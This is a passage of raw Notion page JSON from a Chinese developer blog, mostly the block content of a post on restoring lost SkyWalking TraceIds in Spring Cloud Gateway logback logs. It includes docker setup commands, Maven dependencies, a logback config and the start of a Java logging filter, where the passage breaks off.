2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":"","blockMap":{"block":{"026c5c21-3604-4c0a-a13c-ccb9208e4815":{"value":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","version":670,"type":"page","content":["84e0b4e4-4d09-4735-852f-62349007a189","b267e4d3-fa97-49ee-869b-7703ce772c53","a2da58b3-7dae-4889-8059-2522ed89c7f6","a1dcafde-033c-49a8-9442-bd22aa378568","ddda7846-980f-4721-a3b4-b2953d261af9","2ec1c825-217c-429b-afee-6caa19a43975","f6a2e306-a790-4fcb-af12-94ccdb9d0d7f","9b023386-b08f-4aa6-bef7-896a31790d84","53025e58-6041-4a0f-a4ec-5a552adfeaf2","a041e284-4a45-412e-b398-4a7ed69c1c37","849e8815-5eee-4e86-a63f-20722b7aa995","5bfd9a27-7898-41d8-b891-1bbc13be8d85","24317eef-356b-473c-b5c4-8ee8ec9f3ff4","9664075b-aae9-443c-947f-c212527f54e8","9af8dde9-01fa-4690-b577-e20d51ad4ffb","9fc64fb0-a43a-4bdf-b9dd-61425023bb8c","a13d2aa7-aebc-496f-9cc5-a4265f2ca292","e043a384-8bde-4de7-9a50-37602c2ed361","7ff97387-22a0-429c-9c2c-4128b82bc66f","c4c8d23c-69ee-490b-9a74-0eeb131c14fb","66f7b00c-2f1b-42a0-af57-1ff1d633f955","3a2d209a-d79f-4540-828d-773a22eae9b4","1a36dd47-5252-42f6-ade2-80ed742fb9f4","4caba176-ac58-4988-b755-471afac1a52d","b4ef4f0c-8378-421c-a55f-90c3a012fe29","1c9a8144-f42c-4114-b5cc-a451b261c4a4","0166e46c-5c22-4924-85c8-358ee4206ae2","c8b1acfb-2578-4b1d-83ee-6f622e1bd843","14af7bb3-3a67-4f83-8626-f377c1c56369","4fdd346f-ce99-49d6-a7c7-728734284e76","ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d","c6104167-a456-4af4-b62a-d87bd0dc5b7f","733c637e-92ba-4889-87a7-f84308daeb66","f698fa80-fe58-4bec-a2aa-0afc33e8ffc7","5132098d-d3aa-4e40-ae84-0408e95d1039","1fc83cb3-1d07-43aa-bdea-0b706377887c","7bba3470-42ba-431c-9d63-49968c4ac543","c419ccc0-1429-4f18-af45-d9833e0282eb","91afc304-892f-42d3-bbcc-bb59e4fdd8d8","d9b07a77-5441-4573-8a13-db4be5c3ea3b","97e7928f-be51-43d0-b14d-05127bbeff35","e325c70e-f58c-478c-90b8-eccec3b5d808","584a5e58-4911-40f7-b4e8-67a14b578ba7","4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706","0d136c13-f56c-470a-82fd-2edf46b9e1da","66932228-ed81-493f-ad40-f0cfa8a859d9","30bbe270-0897-4876-b780-500241acd206","a70ffef7-587f-481e-b2ef-c8635aa19049","754bfdec-4110-434d-855b-a46fd419c980","4efa436d-f550-4eda-ac48-8e6d733d8753","0d416ba8-81ec-4468-abaa-3458beed1f20","5df9de5c-e418-4045-ad9b-5003dbc43a99","c9f62dfd-e97e-45d1-afcf-f286342cbce3","eaafbb80-be83-4ef3-92b1-1df503ffe4f0","e7c407ce-c395-47c7-a594-0955b82cdb60","819553b3-aee8-4c8e-ba69-0120fe69cbd4","2da2c502-dcea-4989-b497-12bc4a5cf52b","e7cc9331-e6d1-4a9c-b328-cd8b4b87e032","0e05852c-3ee2-4087-a126-3de4e0942a19","39cdd25c-bec1-4319-86b7-2b3db77e107a","19073c4d-640d-4621-9e5c-56a99d0255dc","65fc421b-dc9a-4a4c-b3b1-739e002e5d8d","fc0bc607-3ddb-47e6-879b-5229ae258f71","f0568091-07d1-43b3-9a52-11cd0d74650d","31887616-fe32-43df-97c9-f850a7201f22","065453d6-fec4-45d0-a4a6-8ddd1d07b18c","19e3bbae-2412-427b-b58b-07013f336d4e","2fb486a5-74f6-4bcf-bf78-3f7142f7c121","80ee939b-8833-4392-a7e3-5687659406c1"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1705767165151,"last_edited_time":1705776752627,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"84e0b4e4-4d09-4735-852f-62349007a189":{"value":{"id":"84e0b4e4-4d09-4735-852f-62349007a189","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"b267e4d3-fa97-49ee-869b-7703ce772c53":{"value":{"id":"b267e4d3-fa97-49ee-869b-7703ce772c53","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705767401013,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"a2da58b3-7dae-4889-8059-2522ed89c7f6":{"value":{"id":"a2da58b3-7dae-4889-8059-2522ed89c7f6","type":"callout","properties":{"title":[["吴晟大佬:",[["b"]]],["Why ping me? The plugin is not written by me. I don't know anything about agent running in Spring cloud."]]},"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705767432426,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"a1dcafde-033c-49a8-9442-bd22aa378568":{"value":{"id":"a1dcafde-033c-49a8-9442-bd22aa378568","type":"text","properties":{"title":[["一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705772297047,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"ddda7846-980f-4721-a3b4-b2953d261af9":{"value":{"id":"ddda7846-980f-4721-a3b4-b2953d261af9","type":"image","properties":{"size":[["66.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/96bded73-53ce-4eb0-8549-7899d58355c5/Untitled.png"]]},"format":{"block_width":943,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/96bded73-53ce-4eb0-8549-7899d58355c5/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5058324496288441,"block_preserve_scale":true},"created_time":1705767731205,"last_edited_time":1705767734670,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["96bded73-53ce-4eb0-8549-7899d58355c5"]}},"2ec1c825-217c-429b-afee-6caa19a43975":{"value":{"id":"2ec1c825-217c-429b-afee-6caa19a43975","type":"header","properties":{"title":[["场景复现"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769812454,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"f6a2e306-a790-4fcb-af12-94ccdb9d0d7f":{"value":{"id":"f6a2e306-a790-4fcb-af12-94ccdb9d0d7f","type":"sub_header","properties":{"title":[["版本"]]},"created_time":1705768046282,"last_edited_time":1705768185934,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9b023386-b08f-4aa6-bef7-896a31790d84":{"value":{"id":"9b023386-b08f-4aa6-bef7-896a31790d84","type":"bulleted_list","properties":{"title":[["spring-cloud-gateway-dependencies = 3.1.3"]]},"created_time":1705768185933,"last_edited_time":1705768331452,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"53025e58-6041-4a0f-a4ec-5a552adfeaf2":{"value":{"id":"53025e58-6041-4a0f-a4ec-5a552adfeaf2","type":"bulleted_list","properties":{"title":[["skywalking-oap-server:9.3.0"]]},"created_time":1705768200635,"last_edited_time":1705768357934,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"a041e284-4a45-412e-b398-4a7ed69c1c37":{"value":{"id":"a041e284-4a45-412e-b398-4a7ed69c1c37","type":"bulleted_list","properties":{"title":[["skywalking-ui:9.3.0"]]},"created_time":1705768337871,"last_edited_time":1705768349258,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"849e8815-5eee-4e86-a63f-20722b7aa995":{"value":{"id":"849e8815-5eee-4e86-a63f-20722b7aa995","type":"bulleted_list","properties":{"title":[["apache-skywalking-java-agent:9.0.0"]]},"created_time":1705768362909,"last_edited_time":1705768424803,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5bfd9a27-7898-41d8-b891-1bbc13be8d85":{"value":{"id":"5bfd9a27-7898-41d8-b891-1bbc13be8d85","type":"bulleted_list","properties":{"title":[["假设有gateway+user两个模块"]]},"created_time":1705768920888,"last_edited_time":1705768939595,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"24317eef-356b-473c-b5c4-8ee8ec9f3ff4":{"value":{"id":"24317eef-356b-473c-b5c4-8ee8ec9f3ff4","type":"text","created_time":1705768047872,"last_edited_time":1705768047873,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9664075b-aae9-443c-947f-c212527f54e8":{"value":{"id":"9664075b-aae9-443c-947f-c212527f54e8","type":"sub_header","properties":{"title":[["skyWalking环境搭建"]]},"created_time":1705767891627,"last_edited_time":1705768543788,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9af8dde9-01fa-4690-b577-e20d51ad4ffb":{"value":{"id":"9af8dde9-01fa-4690-b577-e20d51ad4ffb","type":"code","properties":{"title":[["#先搞个elasticsearch 略\n\n#docker搭建skywalking-oap-server\ndocker run -d \\\n--name skywalking-oap \\\n--privileged=true \\\n-p 11800:11800 \\\n-p 12800:12800 \\\n--restart always \\\n-e SW_CORE_RECORD_DATA_TTL=15 \\\n-e SW_CORE_METRICS_DATA_TTL=15 \\\n-e SW_ENABLE_UPDATE_UI_TEMPLATE=\"true\" \\\n-e SW_HEALTH_CHECKER=default \\\n-e TZ=Asia/Shanghai \\\n-e SW_STORAGE=elasticsearch \\\n-e JAVA_OPTS=\"-Xms512m -Xmx1024m\" \\\n-e SW_STORAGE_ES_CLUSTER_NODES=host.docker.internal:9200 \\\n-e SW_ES_PASSWORD=guest \\\n-e  SW_ES_USER=elastic "],["apache/skywalking-oap-server:9.3.0",[["a","http://registry.docker-cn.com/apache/skywalking-oap-server:9.3.0"]]],[" \n\n#docker搭建skywalking-ui\ndocker run -d \\\n--name skywalking-ui \\\n--link skywalking-oap  \\\n--privileged=true \\\n-p 18080:8080  \\\n--restart always \\\n-e TZ=Asia/Shanghai \\\n-e SW_HEALTH_CHECKER=default \\\n-e SW_OAP_ADDRESS=http://host.docker.internal:12800 apache/skywalking-ui:9.3.0\n\n#下载agent\nwget "],["https://dlcdn.apache.org/skywalking/java-agent/9.0.0/apache-skywalking-java-agent-9.0.0.tgz",[["a","https://dlcdn.apache.org/skywalking/java-agent/9.0.0/apache-skywalking-java-agent-9.0.0.tgz"]]]],"language":[["Bash"]]},"created_time":1705768489471,"last_edited_time":1705772352936,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9fc64fb0-a43a-4bdf-b9dd-61425023bb8c":{"value":{"id":"9fc64fb0-a43a-4bdf-b9dd-61425023bb8c","type":"sub_header","properties":{"title":[["agent目录配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705772366424,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"a13d2aa7-aebc-496f-9cc5-a4265f2ca292":{"value":{"id":"a13d2aa7-aebc-496f-9cc5-a4265f2ca292","type":"code","properties":{"title":[["#进入skywalking-agent目录\ncd skywalking-agent\n\n#拷贝optional-plugins里面的必要插件到activations\napm-toolkit-logback-1.x-activation-9.0.0.jar\napm-toolkit-logging-common-9.0.0.jar\napm-toolkit-trace-activation-9.0.0.jar\napm-toolkit-webflux-activation-9.0.0.jar"]],"language":[["Bash"]]},"created_time":1705772472190,"last_edited_time":1705775707518,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e043a384-8bde-4de7-9a50-37602c2ed361":{"value":{"id":"e043a384-8bde-4de7-9a50-37602c2ed361","type":"sub_header","properties":{"title":[["maven依赖"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705775991661,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"7ff97387-22a0-429c-9c2c-4128b82bc66f":{"value":{"id":"7ff97387-22a0-429c-9c2c-4128b82bc66f","type":"code","properties":{"title":[["\u003cdependency\u003e\n    \u003cgroupId\u003eorg.apache.skywalking\u003c/groupId\u003e\n    \u003cartifactId\u003eapm-toolkit-trace\u003c/artifactId\u003e\n    \u003cversion\u003e9.0.0\u003c/version\u003e\n\u003c/dependency\u003e\n\u003cdependency\u003e\n    \u003cgroupId\u003eorg.apache.skywalking\u003c/groupId\u003e\n    \u003cartifactId\u003eapm-toolkit-logback-1.x\u003c/artifactId\u003e\n    \u003cversion\u003e9.0.0\u003c/version\u003e\n\u003c/dependency\u003e"]],"language":[["XML"]]},"created_time":1705775873958,"last_edited_time":1705775884073,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c4c8d23c-69ee-490b-9a74-0eeb131c14fb":{"value":{"id":"c4c8d23c-69ee-490b-9a74-0eeb131c14fb","type":"sub_header","properties":{"title":[["项目运行配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705775701945,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"66f7b00c-2f1b-42a0-af57-1ff1d633f955":{"value":{"id":"66f7b00c-2f1b-42a0-af57-1ff1d633f955","type":"text","properties":{"title":[["gateway和user模块都配上一下参数,注意SW_AGENT_NAME要变一下"]]},"created_time":1705769072350,"last_edited_time":1705769198271,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"3a2d209a-d79f-4540-828d-773a22eae9b4":{"value":{"id":"3a2d209a-d79f-4540-828d-773a22eae9b4","type":"code","properties":{"title":[["#vm\n-javaagent:/Users/y/Documents/development/skywalking-agent/skywalking-agent.jar\n#env\nMYSQL_HOST=127.0.0.1;SW_AGENT_NAME=gw;SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800;SW_AGENT_SPAN_LIMIT=2000"]],"language":[["Bash"]]},"created_time":1705769173537,"last_edited_time":1705769218262,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"1a36dd47-5252-42f6-ade2-80ed742fb9f4":{"value":{"id":"1a36dd47-5252-42f6-ade2-80ed742fb9f4","type":"image","properties":{"size":[["94.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8cbe5b42-7099-4ebd-bf21-ca0240e5932e/Untitled.png"]]},"format":{"block_width":985,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8cbe5b42-7099-4ebd-bf21-ca0240e5932e/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5370558375634518,"block_preserve_scale":true},"created_time":1705769167672,"last_edited_time":1705769170915,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["8cbe5b42-7099-4ebd-bf21-ca0240e5932e"]}},"4caba176-ac58-4988-b755-471afac1a52d":{"value":{"id":"4caba176-ac58-4988-b755-471afac1a52d","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769790717,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"b4ef4f0c-8378-421c-a55f-90c3a012fe29":{"value":{"id":"b4ef4f0c-8378-421c-a55f-90c3a012fe29","type":"sub_header","properties":{"title":[["logback配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769828763,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"1c9a8144-f42c-4114-b5cc-a451b261c4a4":{"value":{"id":"1c9a8144-f42c-4114-b5cc-a451b261c4a4","type":"code","properties":{"title":[["\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cconfiguration debug=\"false\" scan=\"false\"\u003e\n\n\t\u003c!-- 彩色日志格式   --\u003e\n\t\u003cproperty name=\"CONSOLE_LOG_PATTERN\" value=\"[%d{yyyy-MM-dd HH:mm:ss.SSS}] [%highlight(%-5level)]  [%tid] [%thread] %cyan(%logger{50}:%L) - %msg%n\"/\u003e\n\t\n  \u003c!-- 彩色日志依赖的渲染类 --\u003e\n\t\u003cconversionRule conversionWord=\"clr\" converterClass=\"org.springframework.boot.logging.logback.ColorConverter\"/\u003e\n\t\u003cconversionRule conversionWord=\"wex\" converterClass=\"org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter\"/\u003e\n\t\u003cconversionRule conversionWord=\"wEx\" converterClass=\"org.springframework.boot.logging.logback.ExtendedWhitespaceThrowableProxyConverter\"/\u003e\n\n\t\u003cappender name=\"console\" class=\"ch.qos.logback.core.ConsoleAppender\"\u003e\n\t\t\u003cencoder class=\"ch.qos.logback.core.encoder.LayoutWrappingEncoder\"\u003e\n\t\t\t\u003clayout class=\"org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout\"\u003e \n\t\t\t\t\u003cpattern\u003e${CONSOLE_LOG_PATTERN}\u003c/pattern\u003e\n\t\t\t\u003c/layout\u003e\n\t\t\u003c/encoder\u003e\n\t\u003c/appender\u003e\n\n\t\u003croot level=\"INFO\"\u003e\n\t\t\u003cappender-ref ref=\"console\"/\u003e\n\t\u003c/root\u003e\n\n\u003c/configuration\u003e"]],"language":[["XML"]]},"created_time":1705769832905,"last_edited_time":1705769898053,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0166e46c-5c22-4924-85c8-358ee4206ae2":{"value":{"id":"0166e46c-5c22-4924-85c8-358ee4206ae2","type":"sub_header","properties":{"title":[["gateway模块请求日志打印代码"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771680742,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"c8b1acfb-2578-4b1d-83ee-6f622e1bd843":{"value":{"id":"c8b1acfb-2578-4b1d-83ee-6f622e1bd843","type":"text","properties":{"title":[["就是打印四条信息:请求开始,请求头,请求结束信息,请求结束返回"]]},"created_time":1705771698743,"last_edited_time":1705771734622,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"14af7bb3-3a67-4f83-8626-f377c1c56369":{"value":{"id":"14af7bb3-3a67-4f83-8626-f377c1c56369","type":"code","properties":{"title":[["@Slf4j\n@Component\npublic class ApiLogFilter implements GlobalFilter, Ordered {\n\n    private static final String START_TIME = \"startTime\";\n\n    private static final String X_REAL_IP = \"X-Real-IP\";\n\n    private final DataBuffer emptyBuffer = new NettyDataBufferFactory(ByteBufAllocator.DEFAULT).allocateBuffer(0);\n\n    @Override\n    public Mono\u003cVoid\u003e filter(ServerWebExchange exchange, GatewayFilterChain chain) {\n\n        //请求的基本信息\n        List\u003cString\u003e ips = exchange.getRequest().getHeaders().get(X_REAL_IP);\n        String ip = ips != null ? ips.get(0) : null;\n        String method = exchange.getRequest().getMethodValue();\n        String path = 